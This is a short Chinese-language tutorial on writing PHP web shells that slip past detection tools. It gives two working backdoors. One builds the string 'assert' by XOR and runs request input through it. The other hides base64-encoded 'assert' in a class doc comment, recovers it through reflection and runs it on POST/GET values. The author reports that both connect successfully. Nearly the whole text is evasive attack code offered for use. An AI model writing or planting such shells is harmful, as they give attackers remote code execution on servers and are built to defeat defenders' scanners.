1.php的异或运算
$a="~+d()"^"!{+{}"
这个表示了$a=这两个字符串之间进行一个异或运算
运算异或运算符,按二进制位进行异或运算
这里的运算会把符号转化为ascii码,再转化为二进制,再转化为十进制进行运算,再把结果转化为ascii码
通过这个转换的方式来绕过检测
<?php
$a= ("!"^"@").'ssert';
$a($_REQUEST[x]);
?>
测试可以成功连接
2.通过获取注释去绕过
<?php
/**
* YXNzZXJ0YmZnZmc=
*/
class Example
{
public function fn()
{
}
}
通过一个空的类去获取,
$reflector = new ReflectionClass('Example'); //这里为通过反射获取类的注释
$zhushi = substr(($reflector->getDocComment()), 7, 12);//然后去截断获取注释里的字符,注意getDocComment只能通过文件最开始的类来调用才会把注释内容显示
$zhushi = base64_decode($zhushi);
$zhushi = substr($zhushi, 0, 6);
echo $zhushi;
foreach (array('_POST','_GET') as $_request) {
foreach ($$_request as $_key=>$_value) {
$$_key= $_value;
}
}
/*设置一个数组,参数为_POST,_GET,然后把该数组用$_request去表示,再设置一个遍历,把$_request设为一个可变变量,再键值分离
再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容再设$$_key=$_value,做一个定义,定义可变变量$_key键等于值得内容
*/
$zhushi($_value);
//最后就是assert(传入的变量值)
?>
原理就是通过把shell加密并放到注释里,利用类的反射机制获取类的注释,再解密去生成shell
测试可以成功连接